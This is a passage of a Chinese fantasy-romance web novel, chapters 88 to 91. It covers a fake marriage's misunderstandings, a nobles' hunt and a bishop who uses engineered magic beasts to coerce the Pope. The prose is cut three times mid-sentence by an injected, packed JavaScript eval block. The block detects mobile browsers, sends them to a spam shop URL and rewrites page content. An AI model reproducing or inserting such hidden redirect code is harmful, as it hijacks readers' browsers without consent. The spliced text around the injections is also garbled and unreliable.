“行,你和那位司长一切小心。” 格里卡尔和莱安娜结束了对话之后就立刻去面见维斯特利亚。留下了阿纳托利和莱安娜两个人,觉察到过于尴尬的氛围,阿纳托利率先开口:“格里卡尔他在东区的工作……” “他说和防御司配合得很好,一切顺利。” “亨利那边……” “安东尼奥和我们的人都盯着,无论是毒杀还是刺杀都可以及时阻止。” 似乎无论他提什么问题,莱安娜都能在二十秒内给他答案,阿纳托利确信对方是真的要给他划清界限了,但是为什么?为什么莱安娜会突然转变态度呢?他着实想不明白。 但他很快就知道答案了。在莱安娜去和哈克还有兰斯交代需要注意的事项时,列昂尼德和娜塔莉娅在做了复杂的心理斗争后下定决心,凑了过来,告诉了他事情的起因。 当娜塔莉娅说完了事情的前因后果时,仿佛屋子里的温度都有所降低。 他们看着阿纳托利的脸色从惊愕变成了绝望,他慢慢挪动脚步,到一张桌子面前坐了下来,痛苦地闭上了眼睛。 “这事也不能全怪娜塔莉娅。”列昂尼德尝试说情。 “难道怪我?”阿纳托利咬牙切齿地指着自己,同时狠狠地瞪了娜塔莉娅一眼,一向大胆的娜塔莉娅在深重怨念前都忍不住后退半步。小声嘀咕起来:“你自己不也没长嘴……” “你!”阿纳托利被她的话噎出一阵火来。 “哎呀,虽然您向夫人隐瞒了情史确实是不对的,但事情还没到山穷水尽的地步嘛,别这么焦虑。” 列昂尼德拉住了阿纳托利,一脸我是过来人我的经验你放心的表情。 阿纳托利在内心嗷嗷惨叫,面上已经心如死灰。 “怎么办?娜塔莉娅告诉莱安娜自己四年前求过婚确实是实话,好像还真不能怪她,毕竟娜塔莉娅也不知道当时的求婚对象就是莱安娜……” 他在心里抱着脑袋惨叫,只觉得自己倒霉透了,大家都知道一部分真相,没有人说谎,却在机缘巧合下导致了这种误会。自己的形象在莱安娜心里已经变成什么样了?明明有心上人还恬不知耻地和她结婚,借着这个名头占她便宜的人渣? 阿纳托利觉得前途一片灰暗,已经完蛋了。 娜塔莉娅见他这副生无可恋的表情,作为导火索也不由得心生愧疚,开始想办法:“其实也没有那么糟糕了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17247906|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,阿纳托利你应该先去和莱安娜小姐说清楚,之前的事早就过去了,主动沟通可以解决很多问题。” 阿纳托利叹了口气。 怎么说?直接告诉莱安娜自己多年前那封信是写给她的,要她给自己一个答复? 神明啊!感觉场面会更加复杂,万一又被拒绝了怎么办?两人还要顶着这假夫妻的名义演半年呢,而且要是莱安娜知道自己这么早就有这个心思了,那要怎么想他这一路上的行为,他们可是接了好几次吻,她会不会觉得自己是个处心积虑、图谋不轨的人? “我不能告诉她,我真的不能说。”阿纳托利看着两人认真地说,他眉毛皱到了一块儿,眼神既焦急又痛苦,像是有颇深的隐情。 娜塔莉娅也着急了:“有什么不能说的,不就是求婚失败吗?那女孩连前任都算不上,你现在又不爱她,清清白白……” “不,我现在也爱她。” 娜塔莉娅:? 列昂尼德:? 两人感觉自己的脑袋嗡了一下。 阿纳托利话一说出口立刻意识到了不妥之处,似乎事情越描越黑了。但自己要告诉列昂尼德吗?自己四年前的求婚对象就是莱安娜?让所有人都知道自己喜欢了对方这么多年却没有修成正果,可恶,连前任都没混上。现在还是合作的原因才有了个名分,这也太可悲了! 列昂尼德大为震撼:“这这这……这可不行啊长官,这不行的,如果您想脚踏两条船,那不行。” 阿纳托利在列昂尼德和娜塔莉娅心中那品行端正的形象有了巨大的裂缝。原来他还有这样一面吗? 娜塔莉娅:“你想脚踏两条船?” “我没有!”阿纳托利气急败坏地反驳道。 列昂尼德:“所以你其实不爱莱安娜小姐?” “我爱她。” “你人渣。”娜塔莉娅嫌弃地吐槽,眼神更加嫌恶。 列昂尼德感觉自己的太阳穴开始一突一突地跳:“您这不是脚踏两条船是什么!” 阿纳托利欲哭无泪,最终在列昂尼德和娜塔莉娅看人渣一样的眼神中说了实话。 娜塔莉娅不可置信的摇了摇头,然后给了他个充满同情的眼神。 列昂尼德的眼神从嫌弃到震惊,再到肃然起敬和同情,最后无言地拍了拍阿纳托利的肩膀,钦佩地点了点头。 “所以你俩现在明白了吗?我不知道该怎么做,我不能直接告诉她,万一又被拒绝了怎么办?她现在已经和我划清界限了。” 他坐在桌前,痛苦地两手掩面。 “我觉得你应该换个角度想,莱安娜小姐和你划清界限是好事。”娜塔莉娅开口说道。 “嗯?”阿纳托利抬头看她,娜塔莉娅笑得意味深长,而热心的列昂尼德给出了解释: “长官,你想啊,如果莱安娜小姐对你毫不在意,没有一点感情,那她为什么要介意你给别人求婚。” “你们的意思是!”他抬头看着列昂尼德的笑容,电光火石间脑子里仿佛拨开了层层迷雾。“莱安娜心里有我!”当思索到这个答案时,阿纳托利心神震荡。 “娜塔莉娅,我要给你发奖金,婚礼你和列昂尼德一起坐第一排。” 他直勾勾地盯着娜塔莉娅和列昂尼德的眼睛,一把握住两人的手,感激之情溢于言表。 “我现在就去告诉她!” 他抓起桌上的酒杯一饮而尽,然后立刻起身。 “等一下,长官,这种事需要时机的,您明白吗?”列昂尼德赶紧拉住他。“有好感是一回事,结婚是另一回事,你给莱安娜小姐说明信件的真相,无异于给她求婚,您明白吗?求婚是兑奖,是需要细水长流的感情积累的,哪怕莱安娜小姐对您有好感,您有信心莱安娜小姐现在一定会答应您的求婚吗?” 阿纳托利摇了摇头,说实话他毫无把握。 已婚人士列昂尼德的神色越发严肃:“那我建议您先按兵不动,但也不用着急!目前已经有个天大的好消息了,她对您也有好感,您的爱情我敢说十拿九稳!” “怎么说?”阿纳托利眼中蒙上了一层期待。 “莱安娜小姐本就对你有好感,这是其一,她和你现在有夫妻之名,你和她在合作期间,什么舞会啊、宴会啊、公共场合都要一起出席,而且你和她住一起啊!占据地利!这是其二,你在关键时候曾出手相助,这是其三……总之局势大好,前途一片光明。”他说着越发慷慨激昂,仿佛在分析什么局势一般充满豪情壮志。 阿纳托利点了点头。 “您知道您最大的优势是什么吗?您现在在法律上是她的丈夫,但您就像是实习的丈夫,只有彻底得到对方的心,您才能转正。所以您应该趁热打铁、乘胜追击!” “怎么转正?怎么打铁?”阿纳托利那灰色的眼中仿佛有火苗在跳动。 “分两个方面。”列昂尼德说到了兴头上,竟也把椅子拉到了阿纳托利旁边,给自己也倒上了葡萄酒。“一方面,你要目标明确,你要赢得对方的心,那就要投其所好!夫人想要的是什么?回到圣都是为了什么?为了成为教皇!我们只要按照原计划,事成之后,你再求婚,一切水到渠成。另一个方面,你要有危机意识,你只是名义上的丈夫,明白吗?你没有转正,如果这时候有其他人趁虚而入,先你一步俘获了夫人的心,那就完蛋了,所以要敢于竞争、善于竞争、又争又抢!” 他说罢,将手中的酒一饮而尽,宛若运筹帷幄的军师完成了一出精妙布局的畅快。 “不过,阿纳托利你很幸运,至少你没有情敌。”娜塔莉娅笑着说。 阿纳托利没有说话,他消化着列昂尼德的宝贵的知识,简直就是要上战场一般地斗志昂扬。 “列昂尼德你真厉害,这些全是你追到玛丽夫人的成功经验吗?”阿纳托利不由得赞叹道。 列昂尼德不好意思地抓了抓头发。 “其实这是我夫人当年对我用的招数,那会儿哪懂这些……”他嘿嘿一笑,有些不好意思地抓了抓头发。 娜塔莉娅有些无语,亏得这人之前一副经验丰富的样子! 阿纳托利则是被他酸得说不出一句话。 可恶,他也想有这种待遇啊! 89. 危机将近 宴会场内熙熙攘攘,一切如常。安东尼奥站在亨利的身后严阵以待,还安排了一些乔装的铁卫。莱安娜让哈克隐匿在亨利附近,观察有无趁机投毒的人。 她盯着不远处的亨利,对方端着无害的笑容正和几位贵族热情地交流。金色的眼睛看上去像是被夕阳铺满的海面,和年少时同样温暖平和,像是不会有一丝愠怒。到底是从何时起,这柔和的神情之下开始长出怨毒的呢?还是说,那份尖锐阴狠一直存在,只是她忽略了? 滞留在过去没有意义,但此刻的莱安娜却忍不住陷入了短暂的回忆。 而亨利很快察觉到了观察的目光,金色的眼瞳立刻转了过来。 在目光相撞前莱安娜及时转身离去,只觉得后颈仿佛有一根羽毛在挠,对方的目光仍未移开。 她深吸了口气,抬起头就对上了另一双灰色的眼睛,阿纳托利不知道什么时候出现在了她的身后。 她猜测阿纳托利或许也是来查看亨利这边的情况的,便压低声音说:“这边没有问题,他的守卫工作做得相当全面,我推测那人今晚应该不会行动,安全起见我让哈克守着了。” “嗯,辛苦你了。”阿纳托利点了点头,然后相当自然地牵起了她的手,莱安娜下意识想要抽回,但对方拽得死死的。 她有些困惑地看着对方,但还没等她想明白,阿纳托利的另一只手扶上了她的腰,俯身在她耳边解释: “亨利正看着我们,虽然我知道你有些不自在,但我们还需要尽可能演好这场戏。毕竟新婚夫妻第一次出现在社交场合,太疏远会引人怀疑的不是吗?” 莱安娜原本尝试抽离的手慢慢放松了下去,算是默认了他的方案。 随后她抬起头,准备询问阿纳托利明日的比试,却发现对方低下了头来,眼神格外认真。 “怎么了…” 她的话被堵到了喉咙里,这个吻来得猝不及防。 耳边是人群的感叹声和笑声。但随着她思绪短暂地停滞,连耳边起哄的声音也模糊起来。 在莱安娜短暂失神时,阿纳托利一边吻她,一边相当自然地环住了对方的肩膀,装作不经意地将她揽入怀中,然后才慢慢抬眸看向莱安娜身后的观察者,像一只守卫宝物的龙。 眼神交汇,亨利抬了下眉毛,表情没什么变化,几秒后便转过头继续和其他人谈笑风生起来。 他们拥抱了好一会儿后阿纳托利才松开,莱安娜觉得心里乱糟糟的,她本就下定决心从没有结果的感情里抽离,却仍忍不住眷恋。 她甚至有点埋怨阿纳托利,埋怨对方的反复招惹,引她再次清醒地沉溺,一想到这一切都是镜花水月的表演,这个吻所带来的短暂的欢愉都被冲淡了。 在复杂心绪驱使下,她只能说出像挖苦一样的话: “我没想到你的演技竟然进步神速。” 但阿纳托利却笑着在她耳边回答: “我可是在圣城外面答应过你‘我会努力的’。” 这句话像一把钥匙,莱安娜瞬间就想起了他们在火堆前练习的那个夜晚。 “你不觉得这样的表演有些刻意了吗?”她找补道。 “但我可是完全按照了你在圣城郊外提的要求啊,你说过,如果我们现在出现在公共场合,我作为你的爱人,应该先深情地看着你,然后低下头,最后再吻你,这不是你自己说的吗?难道我做得还不够好?” 搭在她肩膀上的手环得更紧了一些,那双灰色的眼睛可怜巴巴地瞧着她像是在寻求嘉奖。 莱安娜无奈地叹了口气: “好吧,你做得很好。” 她明明已经松口了,但对方仍没有松开手,反而得寸进尺地低下头来: “亲爱的,我认为我们还应该再跳一支舞。” 莱安娜:…… 终于,阿纳托利得偿所愿,挽着莱安娜的手趾高气扬地冲进了舞池。远处的列昂尼德和娜塔莉娅都不由得为他惊人的行动力喝彩。 第一天的宴会一切正常,因此第二天的实战比试,莱安娜更加戒备。 亨利本就不擅长近身作战,自然没有参加,为了引阿萨特出手,他冒险派出了安东尼奥参与比试,身边故意只留下了较少的卫士。莱安娜让哈克继续守在亨利身边。若是要行刺,此时是最佳的时机。 但直到比试结束,仍然没有任何动静,像是急风骤雨前的平静。莱安娜和亨利都很清楚,如果情报准确,那么对方动手的机会只能在明天的狩猎上。 她忧心忡忡地看向桌前狩猎场地的地图,丝毫没有注意到获胜归来的阿纳托利已经回到了观众席,直到对方把茵挪啪地放在了桌上,她才回过神来。 “你真的很担心亨利的安全。” 阿纳托利不咸不淡地感慨了一句,随后目光落到了地图上, “当然,他现在还不能死,我们之前已经讨论过这个问题了。” 莱安娜不明白对方为什么又明知故问,但察出了他语气中微妙的不满,只得耐着性子解释,然后抬头看他,这才发现对方的脸色冷得要命: “你为什么这么不高兴?刚才不是大获全胜了吗?” “我没有不高兴。” 他淡淡地反驳,随后再次将重点放在了刺杀行动上:“如果亨利的情报可靠,那针对他的行动只可能在明天,但他的情报真的能够保证准确吗?” “亨利提交了关键的方案,是明面上要把阿萨特赶尽杀绝,哪怕阿萨特阻止议案通过,也不过是躲过了之后的全面检查,亨利掌控下的安全部仍然会对之前的案件穷追不舍;无论怎么看,他和亨利都是你死我活的关系,阿萨特有充足的动机。” 她详细地陈述,目光仍然锁定在地图上。“如果现在都没有动手,或许在等明天狩猎的时机。猎场设置了屏障,还有贵族们分工的亲卫把守,场内空旷。亨利为了安全应该不会进入猎场。我如果是阿萨特,应该会先对其他人下手,制造凶案后吸引铁卫注意,分散亨利身边的防御力量再伺机动手。” “按照这样的推测,猎场外围的休息区反而是最危险的。”他思索着,随后又很自然地握住了莱安娜的手:“安全起见,我要不明天不进入猎场?” “不,外围明面上战力越弱,阿萨特就越有可能行动,而且亨利身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“哈克?”阿纳托利感知到了对方的魔力波动。哈克的伪装随即褪去,他靠近了一些,阿纳托利才看清他怀里抱着两把剑。 “我给你们偷回来了。”他骄傲地昂着头。“他们凭什么不让带自己的武器,说的好像出了意外他们就能马上赶到一样!” 阿纳托利觉得他这副打抱不平的样子很有意思。 “但是你们打猎不能用哦,那对其他人或许不太公平。”他似乎此时才意识到自己是违规的行为,有些不好意思地移开了目光。 “谢谢你哈克,我向你保证只有遇到危险的时候我才会使用好吗?” 他笑着拍了拍这孩子的肩膀。 “我们这边你放心吧,你去帮帮莱安娜。” 哈克点了点头,迅速离开,而整装待发的阿纳托利和列昂尼德继续骑马向林子深处走去。 而莱安娜则被卡梅里亚邀请参与休息区的茶会,选择不参加追猎的女士都聚集在了这里。卡梅里亚是礼貌性的邀请,莱安娜到场后也没有什么需要应付的社交,她坐在自己的位置上,观察着周围精致的面孔,这些女士没有经过训练,也没有自保的能力,如果需要制造袭击吸引注意力,没有比这里更好的选择。 但莱安娜很快发现自己推测得并不全对。 室外传来凄厉的惨叫,打破了室内一派祥和。 “那是什么声音?”一位小姐想要起身出去查看。 “不要出去。”莱安娜拦住了她,这是守卫的惨叫,加害者就在他们室外附近。 90. 猎场危机 莱安娜刚说完,哈克就趁着间隙来到了她身边,压低声音说:“不是暗杀者,外面有好多魔兽!” 莱安娜惊讶地睁大眼睛,这倒是完全出乎意料。但她还没有想到应对办法,就听见入口处传来了骨头断裂的脆响。 一位守卫倒了下去,咬掉它头颅的那只中型魔兽正甩着尾巴虎视眈眈地盯着门内的众人。 “啊!啊!死人了!” “屏障以内怎么会有魔兽!” 室内的人霎时脸色苍白,反应快一些的立刻朝室内撤退,不忘抄起椅子或者砸碎的酒瓶作为武器护在身前。 “别慌。”卡梅里亚的声音仍然平和。 “黛拉,杀了那只家伙。” 她仍坐在椅子上,慢悠悠地指了指那只正在爬进室内的魔兽。 她旁边的侍女立刻轻点脚尖跃上前去,她身体轻盈,衣裙翻飞间,莱安娜瞧见了宽大袖口里泛着银光的细甲和铁鞭。 黛拉抽出了特制的魔导器,注入魔力后打出蓄力的几击。 几道银光像是急速窜动的蛇,又像猝不及防的闪电。准确无误地落在魔兽的眼睛上。 那怪物发出愤怒的嘶吼,正要反击,莱安娜身边的娜塔莉娅看准时机出手了。 双刀出鞘在她手中旋转。 “金石为开。” 中阶法师的全力一击,瞬间穿透了这只魔兽的躯体,它倒了下去,紫黑色的血液散发着不祥的气息。 黛拉朝娜塔莉娅颔首致谢。 门外传来几声嘶吼后,剩下的近卫方才进入室内禀明情况,之前外面战况激烈,他甚至来不及更换沾血的甲冑。 “请家主宽恕我等疏忽,外面突然来了几只魔兽,我们反击之际漏掉了一只……” 卡梅里亚摆了摆手,示意他不必多言。 “一共来了多少只魔兽?近卫队伤亡情况如何?” “只有一人死亡,一人手臂受伤。” “伤亡情况不算太糟,剩下的人继续在室外守卫,你去告诉值守的人员,受伤的人会得到最好的治疗;牺牲的人,他的家人瑞恩会照顾;活着的人过了今日我有重赏。” 她说罢看向黛安。 “留三个人在室内,你去再调两队人回来,我们家剩下的守卫按照分工要求守在森林外围。” 黛安领了命令便和近卫快步离开了室内。 卡梅里亚的几位贴身仆从走上前来,将所有女士挡在了身后。 茶会的主人从容不迫地起身,扫了眼地上魔兽的尸体,随后朝各位女士展现出得体端庄的笑容。 “愉快的时光有时候会发生意外,但各位女士请放心,瑞恩会保障每一位客人的安全。” 她说着,却发现莱安娜和马克西姆绕过了守卫,朝魔兽走来,迅速地检查起死亡魔兽的特征。 “阿琳娜夫人,呆在后面或许更安全,这些工作会有其他人来处理,骚乱很快就会结束。” 她友善地提醒道。阿琳娜沉默一会儿后仰起头盯着她,眼神冷静而冰冷。 “恐怕这不是小骚乱,侯爵。” “阿琳娜夫人有什么发现?”卡梅里亚等待对方的解释。但眼前这位女士没有立刻回答她的问题,而是不懂规矩地再次提问: “瑞恩家的守卫什么时候能赶回来?” “一刻钟左右。” “来得及,请您在守卫赶回后护送各位小姐先行离开,这不是一两只魔兽的袭击,可能这里很快会有大量魔兽来袭。” 卡梅里亚狐疑地盯着她。 “这女孩判断毫无依据,甚至算得上危言耸听,但防御司对魔兽潮事务一向专业……” 犹豫片刻后她还是挥手让其中一个侍女出去备车。 莱安娜继续开口:“还要请夫人允许我们的医生马克西姆为您的家臣治疗。” “当然,瑞恩感谢二位的帮助。” 在获得许可后马克西姆开始帮受伤的人清理伤口,而卡梅里亚的目光仍聚焦在莱安娜身上: “阿琳娜夫人刚才的推断有什么依据吗?” “圣都为了安全起见,今年年初打开了防御屏障,魔兽不可能从外面进入,那么就只能是内部产生,地脉异变导致的魔兽潮往往不止一只。” 她解释完后立刻起身,朝娜塔莉娅使了个眼色,两人就要走出室外。 “室外并不安全,阿琳娜夫人。” “感谢您的挂念,但我还是防御司成员,涉及魔兽潮事件,我有调查的义务。” 她给娜塔莉娅使了个眼色,两人正准备出门,差点和方才去备车的侍女撞了个满怀。 莱安娜扶住了她,这才发现她手臂上全是血。 “家主大人!没有马了……我从没见过马会变成魔兽啊!” 侍女的话如同一道惊雷,在室内炸开,引发种种恐慌。 “什么意思?走不了了吗?” “是有很多魔兽吗?我们会死吗?” 卡梅里亚虽说震惊但很快镇静下来。 “你说你亲眼看到马都变成了魔兽?还是只是有魔兽袭击了马匹?” “我亲眼所见家主大人!我当时就在马的前面,那马匹突然就跟发狂了似的,倒下去抽搐起来。我还以为是有人下毒,凑过去一看,那马匹立刻开始异化,还咬了我一口……” 头一次目睹魔兽的异化过程给她造成了较大的冲击,她说话结结巴巴的。 卡梅里亚脸色终于变得有些难看,而另一边的莱安娜只觉得如坠冰窟。 她之前检查了地上的魔兽,确信这是注射了特制药品产生的“人造魔兽”,毫无疑问是阿萨特的手笔,但他真的只是想制造骚乱,杀死亨利吗? 不,如果只是制造骚乱,没有必要毁掉马车,还把马变成魔兽。他像是想把所有人都困在这里,但是为什么? 她突然想到了猎手是不允许佩戴魔导器的。 “阿纳托利!” 莱安娜立刻冲出了房间,娜塔莉娅紧随其后,卡梅里亚倒也不愿花费宝贵的人力保护她,只是对她像发疯的举动有些惊讶。 她解开了自己的拘束装置,敏锐的五感和魔力探知重新回归。 “阿琳娜,在这里解开拘束,可能会被发现。”娜塔莉娅提醒道。 “我得进树林,阿纳托利他们没有魔导器,很可能……” “他们有哦。”跟在一旁的哈克解开了隐匿的魔法。 “我给他们偷回去了。”他脸上浮现出狡黠的微笑,莱安娜这才长舒一口气。 “谢谢你。”她感激地看着哈克。 娜塔莉娅:“那我们现在还去树林吗?” 莱安娜没有回答,她还没有想明白阿萨特的动机。为什么要把所有人困在这里,给动物注射那种特制药品不就暴露自己的身份了吗?她唯一能确定的就是阿萨特这次行动绝不是针对亨利,亨利只是个幌子。 就在她犹豫的时候,身后茶会的地点传来惨叫。 “阿纳托利如果有魔导器,这种程度的魔兽应对起来没有问题。而亨利误以为自己是行动目标,早就调集了大量皇帝铁卫,他那边暂时没有危险。但卡梅里亚这边的近卫分工了森林外围的守卫工作,人手不足。我给维克多承诺过会保全他姑姑的性命,而且卡梅里亚是对抗教皇的重要力量,她不能死。” 莱安娜快速做出了判断,带着人重新赶回了茶会地点。一只大型的高阶魔兽正盘踞在室外的空地上,卡梅里亚的近卫已经折损了一半,吃力地和这只魔兽周旋。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259958|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 莱安娜和娜塔莉娅打了个配合,娜塔莉娅动手,而她暗中使用控制魔法,在无人发现的情况下杀死了这只威胁最大的高阶魔兽,这才走进室内,眼前的景象让她不由得一愣。 卡梅里亚面色凝重,眼前的侍从正托着投影装置。那正是阿萨特主教的投影。 投影中的人带着从容不迫的笑容扫视了屋子里的女士们,随后看向坐在最前方的卡梅里亚。 “刚才我的问候已经送到了,看来侯爵已经处理妥当,不知道对我的提议您意下如何?” “我不会同意你的要求的,瑞恩不会受人胁迫。”卡梅里亚的眼神冰冷而理智。 “我希望您能再考虑一下,我无意与您为敌,只是希望自己的研究不受人限制,只要您在方案同意书上签字、并盖上议会的章。表明今天之事有您的参与,未来也承诺继续支持,我便不会伤害您和您的客人。” “你想做丧尽天良的事,还想要拉瑞恩给你背书,绝不可能。” “那我只能给侯爵您展示更多的‘作品’了,我希望您能尽快认识到这是多么伟大的尝试,而非你口中丧尽天良的事,但愿您不要在失去太多朋友、侍从之后才认识到何为正确的道路。” 卡梅里亚盯着投影没有开口。 “我过一会儿再联系您。”投影那端的老人带着礼貌和蔼的笑容消失了。 那个侍从给卡梅里亚呈上了所谓的方案同意书。 卡梅里亚将方案丢在了一边,转身面向众人:“女士们,我不会顺那个歹徒的意,在这荒谬的方案上签字,请各位也不用担心安全问题。一刻钟后我们的亲卫就会归来。” 安抚完众人的情绪,她才把目光转向刚进门的莱安娜和娜塔莉娅。 “阿琳娜夫人刚才匆匆离去,有什么新发现吗?” 她笑着询问。 “很遗憾卡梅里亚侯爵,我并没有什么新发现,而且我似乎错过了很重要的事,我们所有人是被阿萨特主教绑架了吗?” “绑架谈不上,他只是想威胁我们通过一个丧心病狂的方案——生命升级。”她冷笑了一声,“夫人刚刚错过了最开始的投影,现在要不要自己看看。 她挥了挥手,侍从把含有方案的投影石递给了莱安娜。 生命升级项目几个大字闯入视野,莱安娜的心就悬了起来,继续下翻,当药物试验、器官移植等信息出现时,她确信这就是魔法师制造计划。 她快速浏览完整个方案,脊背发凉、心跳声愈发清晰,她尽可能让自己保持镇静,但脸色还是不受控制得变得苍白。 亨利和她的推测完全错了。 “阿萨特就是个疯子!他要不计代价地推行魔法师制造计划。亨利提出的方案之所以让他感觉到威胁,并非是持续地彻查医疗系统,而是递交方案时维斯特利亚并未阻挠。” 她盯着方案书飞速地梳理着思路。 “这件事里最关键的人并非试图扳倒阿萨特的亨利,而是袖手旁观的维斯特利亚。作为魔法师制造计划支持者的教皇,释放出了放弃这个计划的信号。所以阿萨特把所有人都困在这里是押上了一切,威胁教皇和贵族们,只为推行这个计划?” 就在她思考得有些恍惚的时候,黛安回来了,她浑身都是魔兽紫黑色的血,看样子经历了苦战。 她眉头紧锁,走向卡梅里亚,俯在她的耳边说话: “家主大人,剩下的人都在门外了,亲卫折损了二分之一。” 瑞恩家带来的亲卫,都是中阶甚至高阶的魔法师、魔导师。哪怕平定一场小型魔兽潮也是没问题的。如此高的伤亡率让卡梅里亚不可置信。 莱安娜听不清她们在说什么,只是看见卡梅里亚的脸上头一次出现如此凝重的神情。 91. 猎场危机 维斯特利亚盯着眼前的投影,这是与她合作多年的盟友。 他们曾共同谋划颠覆哈雷王朝,一起求索魔法的未来。而现在,他选择了威胁自己这条路。 她靠在床上,笑着叹了口气。 “你不该用这种方式让我改变主意,这是最错误的一种。” “您打定主意的事情向来没有回转的余地,您现在要放弃我,我也只能出此下策。” 阿萨特那双浅棕色的眼里此刻竟然有几分失落。 维斯特利亚闻言神色如常:“我没有放弃你,阿萨特。哪怕是现在,只要你收手,我可以保证之后的调查止步在器官交易上,一些贵族会领下全部罪名,你仍可以安稳富足地度过余生。” 但说到此处她眼神却变得狠戾起来。 “但是,魔法师制造计划必须停止。”她语气笃定不容辩驳。“我们已经为它投入了太多的资源,几十年的尝试,无数人的牺牲换来了失败的结果……该停下了,阿萨特。” “不,我们成功过!北方和南方都曾经有批药物改造成功的残次品,而且胚胎改造也曾有一个成功的实验体!我们明明成功了……但您杀死了她。” 他语气越来越歇斯底里,仿佛从一个冷静的阴谋家变成了一个痛心的父亲。 您为什么要杀死她?那不是我们最珍贵的作品吗?” 维斯特利亚的眼中难得流露出几分不忍来:“我只能告诉你,女神钦定的那个实验体会影响我们所有人的未来,她必须被清除。魔法师制造计划从一开始就是错误的。” “没有错误!那才是正确的路!” 阿萨特的眼中蒙上了一层疯狂。 “地脉早就恶化了,普通人在异化环境中是无法生存的!魔兽是动物为了适应作出的调整,数量极少的魔法师不过是人类进化的幸运儿,要想让更多人适应未来恶化的地脉只有这一条路——和魔兽融合。” “你这是要把所有人都变成怪物!” “不,这只是暂时的,教皇陛下,这只是我实验现阶段的产品,在文森特所为的基础上有所改良。只要您像过去一样支持这个计划,我有信心能不断改进,直至理想结果。而且您看,哪怕是半成品也足够惊艳了,不是吗?” 他一边笑着说,一边给维斯特利亚展示起猎场中的影像。 高阶魔导师们在新型魔兽面前苦苦支撑,比武中取得不错成绩的勇士命丧怪物之口,形单影只的魔法师在围攻下躲躲藏藏…… “那些原本力量孱弱的普通人,在注射了新药物之后,可以拥有比肩顶尖内卫的实力。而且这种药物以虫类魔兽的血清为基础制作而成,他们会像虫子一样被母虫控制。虽然他们只是实验的阶段性产物,但对您而言也有着极高的价值,这可是一只战斗力强大、绝对服从、可以被量产的军队,难道不是优秀的作品吗?” 维斯特利亚愣住了,她不可置信地打量着阿萨特。 “你在自己身上做了实验?你给自己也注射了母虫的血清……” “不这样如何给教皇陛下呈现出最好的效果,我希望用猎场为舞台,给您展示这个计划到底有多少潜力,请您支持我的进化之路。” “阿萨特,这条路是错误的。” “看来我没有说服您,但没关系您会同意的。” 他语气十分笃定。 “现在整个猎场已经在屏障之中,而我操控着猎场所有的魔兽,北地的人质、帝国的皇帝、贵族的领袖全在这里,我如果把他们都杀死,会怎么样呢?” 他背着手施施然地来回踱步。 “我知道您越发忌惮亨利,巴不得他死,但卡梅里亚呢?一旦她死了,贵族们群龙无首,很快便会各自为政,维持平衡多年的贵族议会将会分崩离析;而阿纳托利死了,您说北部的伊莉雅公爵会不会趁着南部内乱,以兄长横死的借口和南方开战?” 维斯特利亚冷笑着摇头:“你真的疯了,你竟然会拿我们共同缔造的国家来威胁我?就为了那个计划?” “那个计划是我的心血,是我存在的意义,如果您不让它继续存在,那您穷尽心血维持的帝国也没有存在的必要了。” 维斯特利亚闭上了眼睛,布满皱纹的手紧紧握着,她沉默了一会儿才睁开双眼,哪怕眼角爬满细纹,她的眼睛在此刻仍像两盏不会熄灭的灯。 “魔法师制造计划必须停止,没有余地。” “那我就只能毁掉您最珍视的一切了,陛下,也许这样您才能理解我的痛苦。” 他相当惋惜地叹了口气。 “就用帝国的混乱来为我的心愿殉葬吧。” 话音散去,影像也逐渐消失了。 控制着仪器的露西胆战心惊,她不知所措地看向维斯特利亚: “教皇陛下,现在怎么办?” “可惜我没有办法战斗了。”维斯特利亚有些惋惜地低头看向自己的手。 “立刻让珂赛特神官、裴迪神官带着一半的神使前往猎场,我稍后再去。你现在立刻联络北地,让那群应用魔法师立刻搭建远程影像,我要和伊莉雅公爵对话,必须预防最糟糕的结果发生。” “但猎场在圣都最外围,哪怕现在赶过去最快也要半个钟头,神使团不一定来得及。” “如果那群人连半个钟头都撑不下去,那这帝国气数将尽就是上天注定!”她一边骂着一边从病床上挣扎起来,露西扶着她走出了卧室。 而在猎场,哪怕卡梅里亚已经做了相当完善的部署,一波又一波的攻击仍撕碎了她们的防御。 在娜塔莉亚出手杀死第四只突破防线的魔兽时,所有人都明白过来眼前局势的危急。 “还剩多少人?”哪怕卡梅里亚仍是冷静的样子但也缓解不了众人的焦虑。 “有一半的人牺牲了……”扶伤员进室内的黛安汇报道。 她话音刚落,卡梅里亚身后焦躁恐惧的氛围再也按耐不住,女士们小声地讨论了起来。 “到底发生了什么?外面地魔兽到底是有多厉害?连瑞恩家的内卫损失都是如此严重。” “我们现在是不是除了给那个老头妥协没别的办法了,根本打不过啊。” 卡梅里亚不得不出面压住动摇的人心,室内终于安静下来。 莱安娜和其他几位女士正在帮受伤的人简单处理伤口,听到如此严重的伤亡情况她也感到惊讶。 “卡梅里亚的武装足够应付寻常中阶魔兽才对,为什么这次这么难缠?”强烈的不安在她心里蔓延。 而一旁的娜塔莉亚再又一次杀死了魔兽后蹲下身来告诉她交手获得的情报: “阿琳娜,我发现这些魔兽和过去的任何一种不同,他们似乎有学习的能力,第一只进入室内的魔兽我处理得非常轻松,但是从第二只开始就越来越困难,他们像是逐渐熟悉了我的攻击方式。” 